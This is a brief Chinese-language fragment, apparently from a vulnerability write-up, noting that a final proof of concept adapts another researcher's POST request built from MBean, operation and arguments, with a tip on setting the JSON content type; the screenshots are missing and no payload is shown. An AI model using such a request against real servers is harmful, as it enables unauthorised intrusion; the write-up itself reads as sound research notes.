image_1d6qgok3kjq716kir4b1k1v6as9.png-12kB

最终POC,利用luciafaer师傅的post数据包改造,mbean+op+args

注意content-type:applicatio/json,bp直接发包太坑了

image_1d6num88ikml1pqe1jid1sln1kuh13.png-111.6kB

not found!